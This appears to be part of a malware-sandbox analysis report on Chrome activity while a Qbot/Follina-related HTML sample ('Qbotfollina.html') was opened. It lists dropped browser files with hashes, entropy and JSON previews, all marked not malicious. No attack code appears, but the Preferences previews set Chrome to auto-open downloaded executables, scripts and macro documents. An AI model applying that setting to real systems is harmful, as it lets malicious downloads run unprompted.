7D

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299180837416096","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19793

Entropy (8bit): 5.563996144668596

Encrypted: false

SSDEEP: 384:FLPtdLlbYX41kXqKf/pUZNCgVLH2HfDDrUpHGmMw4y:1LlG41kXqKf/pUZNCgVLH2Hf3rUNGZwB

MD5: 2DA09E070579707C07F6FAB691C789AE

SHA1: B66F953CBF9CA149C80A29BF56F53007C3775F01

SHA-256: 08946BD708C0E8B33A65446C20BD4418581A4B1C36F14D65D7D65377BBE4CD0A

SHA-512: D0B84F9F773557AE8203404CFF31F9715A7519B4EDAEF69F8AB6A7F935F670C71DC8159781183F03B1229C0CAFAC16DAC2EA8E512D48BFA30FCC093572955F0
B

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299180837416096","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17356

Entropy (8bit): 5.570961484022743

Encrypted: false

SSDEEP: 384:FLPtYLlbYX41kXqKf/pUZNCgVLH2HfDDrUcRw4U:wLlG41kXqKf/pUZNCgVLH2Hf3rUuwr

MD5: 639C680FEFCDC8FC80688E7291793FFB

SHA1: 01EC4A794853E8E8DB87328A96E838C343C05D2D

SHA-256: 7DDEB61CF8DDDB959E3C055ACB41BC99DF93E7DB2940FB127168BB65696B2BEC

SHA-512: 92872432A129D5F62BF921250D4702E649B15005379A98FFD166D8D8B81F15FCF7EA5842332DEC2CAC21390A59E1AE2C75227A9283FA662D5FFD85323EE6B7CF

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299180837416096","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\654a6c14-ca9a-428c-b8ac-1b1d127e1439.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6915fb29-f050-4a9c-a545-a34bad3e8ebf.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9bd124a4-8996-43ba-9d32-27257daa4c0d.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4873

Entropy (8bit): 4.958730103759902

Encrypted: false

SSDEEP: 48:YcxUklSLklwHjhcDqA6iqTlYqlQKHoTw0GPH3CH3G/s8C1Nfct/9BhUJo3KhmeSz:nxCIeN1pcKIwok0JCKL8VbOTQVuwn

MD5: A2B3D285890EDB6B3011AC24CF900116

SHA1: 4FCDA42FA2513460738843B462840702B493F14D

SHA-256: 38AF656A6DB662FD2BC1CEFDC8806A476724B71FFBD57A25BF8F80FFF70114A4

SHA-512: FDFE3105976465A99F56C28D81E9622399B585E2AC255F2C102368493F70F50A2DEAD4F86665E8E16460BA198CD4D2E8197FFCC8415FA9C0A3B6537FF6F64F6B

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299180838484368","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Preview: .f.5................f.5...............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9f7bdcb5-c04d-4e05-b56c-8c6bb7a0b482.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
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Category: dropped

Size (bytes): 372

Entropy (8bit): 5.2960883351650985

Encrypted: false

SSDEEP: 6:nAU9Vq2PWXp+N23iKKdK25+Xqx8chI+IFUtqVCAUISgZmwYVCAUCIkwOWXp+N23U:nAU9Vva5KkTXfchI3FUtRAUISg//AUCX

MD5: 17FFEE9058EE466B748A3B0748C44448

SHA1: 34767EFA2FA2A83D0930773490323C853703DEA6

SHA-256: 330F79A9FD07F37AB228857B3A90B1F9E8D2DC88543B975B4E96C35410F00587

SHA-512: 43D4804BD0C8DA881EE7ED6D8706068AC1A8970A4AB2E60099339CAC5B70EACD17492BF365BB94D82E3D16957BF5C24E7B7B68AF38754CFD367ADE01EC0F1E
91

Malicious: false

Preview: 2022/06/08-09:54:29.332 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/06/08-09:54:29.334 1bd0 Recovering log #3.2022/06/08-09:54:29.335 1bd0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.2960883351650985

Encrypted: false

SSDEEP: 6:nAU9Vq2PWXp+N23iKKdK25+Xqx8chI+IFUtqVCAUISgZmwYVCAUCIkwOWXp+N23U:nAU9Vva5KkTXfchI3FUtRAUISg//AUCX

MD5: 17FFEE9058EE466B748A3B0748C44448

SHA1: 34767EFA2FA2A83D0930773490323C853703DEA6

SHA-256: 330F79A9FD07F37AB228857B3A90B1F9E8D2DC88543B975B4E96C35410F00587

SHA-512: 43D4804BD0C8DA881EE7ED6D8706068AC1A8970A4AB2E60099339CAC5B70EACD17492BF365BB94D82E3D16957BF5C24E7B7B68AF38754CFD367ADE01EC0F1E
91

Malicious: false

Preview: 2022/06/08-09:54:29.332 1bd0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/06/08-09:54:29.334 1bd0 Recovering log #3.2022/06/08-09:54:29.335 1bd0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 734

Entropy (8bit): 5.211491478916289

Encrypted: false

SSDEEP: 12:Ja3ieCQtjRIAOu1W2U4mX99jjXOmPj4jk9LxUsX8hYeOKBk778B/xgskZBa9sNiv:J8iNQtjjW0m/fOokI9LxTMhOIY78BJgg

MD5: AF559A67DF922EF68D22ADAE97CA7BD2

SHA1: 78952D67280CE3B9AD1E79420F5052A06B54C194

SHA-256: 4A936323065DE579748DFF8F2E13370A70E0CC0EF68D035427F4CBAC65B0E2DA

SHA-512: 4C8A852C35FA9570E19542E7CF295A8CAAF8E0458B5B11F10B158EB273500AD5FB5CAB548E373A9040346EC4F50BC74BCCB07EC43D2EE0D4F6518CE805967B
F1

Malicious: false

Preview: ............"X....c..desktop..disabled..file..good..user..html..macros..qbotfollina..thing..users..we*........c......desktop......disabled......file......good......user......html......macros
......qbotfollina......thing......users......we..2.........a...........b.........c.........d...........e............f.........g.........h..........i...........k........l...........m.........n.........o...........p........q........r.........
.s...........t...........u........w........z...:n..............................................................................................................Bt...p...... ......*/file:///C:/Users/user/Desktop/Qbotfollina.html2.Good 
thing we disabled macros:..............J...............+.......

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1880

Entropy (8bit): 4.889611153583863

Encrypted: false

SSDEEP: 48:YALtkNTntwCXGDH3qyvz5sHGsfRLsZbrIBs7QwL:MNTnOCXGDHa+zERMrKq

MD5: BB0341952DA255177C27F2AFABEB455F

SHA1: EE291709553F7648B19EE8AE828ADE303D9850FD

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
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SHA-256: 6E05BA8DCBF25A9267EFB5955220E46BEC88DF65218DB6E98670F4C4908894FB

SHA-512: 4F6AE9B6F5717228F94F154C20BE084D6F9FFD268D898A9EADDB9435171794985948001FACF5E3FA38496B3877E0CAC73A1706899D05B5720DE1C7AB8B5A1428

Malicious: false

Preview: {"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1654707557","host":"clients2.google.com","isolation":[],"port":443,"pro
tocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},
{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ap
is.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_
spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":
true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"exp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4899

Entropy (8bit): 4.963699352864

Encrypted: false

SSDEEP: 48:YcxUklSLklwHjhceCNqA6iqTlYqlQKHoTw0GPH3CH3G/s8C1Nfct/9BhUJo3KhmI:nxCI0N1pcKIwok0JCKL82bOTQVuwn

MD5: A3D229A47DBAD833A6788313F59F5B68

SHA1: 45647A7D343056FFB50D161ADF00EFF2B925C711

SHA-256: C4D2336B1323AFEEFE5996A30EC38F36DDBEB2415E83957CE38B2AB81EACAF3F

SHA-512: 3E68748DC7CC4D2F60FB04AAB74A66337A475CC6B7A79D5DD58F1827D4A1B162041FE1FAE94B39B0BF4897F3B8549E1644F040B4604CFEA8C34E102E5EE790C
C

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299180838484368","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19793

Entropy (8bit): 5.563996144668596

Encrypted: false

SSDEEP: 384:FLPtdLlbYX41kXqKf/pUZNCgVLH2HfDDrUpHGmMw4y:1LlG41kXqKf/pUZNCgVLH2Hf3rUNGZwB

MD5: 2DA09E070579707C07F6FAB691C789AE

SHA1: B66F953CBF9CA149C80A29BF56F53007C3775F01

SHA-256: 08946BD708C0E8B33A65446C20BD4418581A4B1C36F14D65D7D65377BBE4CD0A

SHA-512: D0B84F9F773557AE8203404CFF31F9715A7519B4EDAEF69F8AB6A7F935F670C71DC8159781183F03B1229C0CAFAC16DAC2EA8E512D48BFA30FCC093572955F0
B

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13299180837416096","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\3fe43805-7be2-44a9-8b75-

0ea976c2d5c7.tmp
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SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.954960881489904

Encrypted: false

SSDEEP: 12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy

MD5: F4FEFEEEC722772F9DC0FCE1B52D79B5

SHA1: 00EECFA3B37113D30E7D43BE4383C540F3D93D4D

SHA-256: D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0

SHA-512: 41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 420

Entropy (8bit): 4.954960881489904

Encrypted: false

SSDEEP: 12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy

MD5: F4FEFEEEC722772F9DC0FCE1B52D79B5

SHA1: 00EECFA3B37113D30E7D43BE4383C540F3D93D4D

SHA-256: D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0

SHA-512: 41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4872

Entropy (8bit): 4.958839023184298

Encrypted: false

SSDEEP: 48:YcxUklSLklwHjhcDqA6iqTlYqlQKHoTw0GPH3CH3G/s8C1Nfct/9BhUJo3KhmeSO:nxCIeN1pcKIwok0JCKL82bOTQVuwn

MD5: 990DE81036F677FAB12F3891313F2DE6

SHA1: 5CE7AE0DF96085B01B06BC87E6F2E2F41ED02459

SHA-256: 2A3B9B88FAA9CD14D7AC3D8FE206CE9345B19AFE6C320D597965CA297C3B08C8

SHA-512: 9000DFD89CC17FB4C513A619DBEEBD0AD671FA91BEAB14F0643721B2FE904521950D782FCA2416CD9D2932DEC4D8056E1D20A3C2B6AE1411F70FD70E8F41D3
9F

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13299180838484368","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\b69ee39c-f2d4-4669-87

79-99c284e2e4a3.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\be66d44b-572f-4980-92cc-64f177048431.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp
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Category: dropped

Size (bytes): 4219

Entropy (8bit): 4.871684703914691

Encrypted: false

SSDEEP: 48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH

MD5: EDC4A4E22003A711AEF67FAED28DB603

SHA1: 977E551B9ED5F60D018C030B0B4AA2E33B954556

SHA-256: DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453

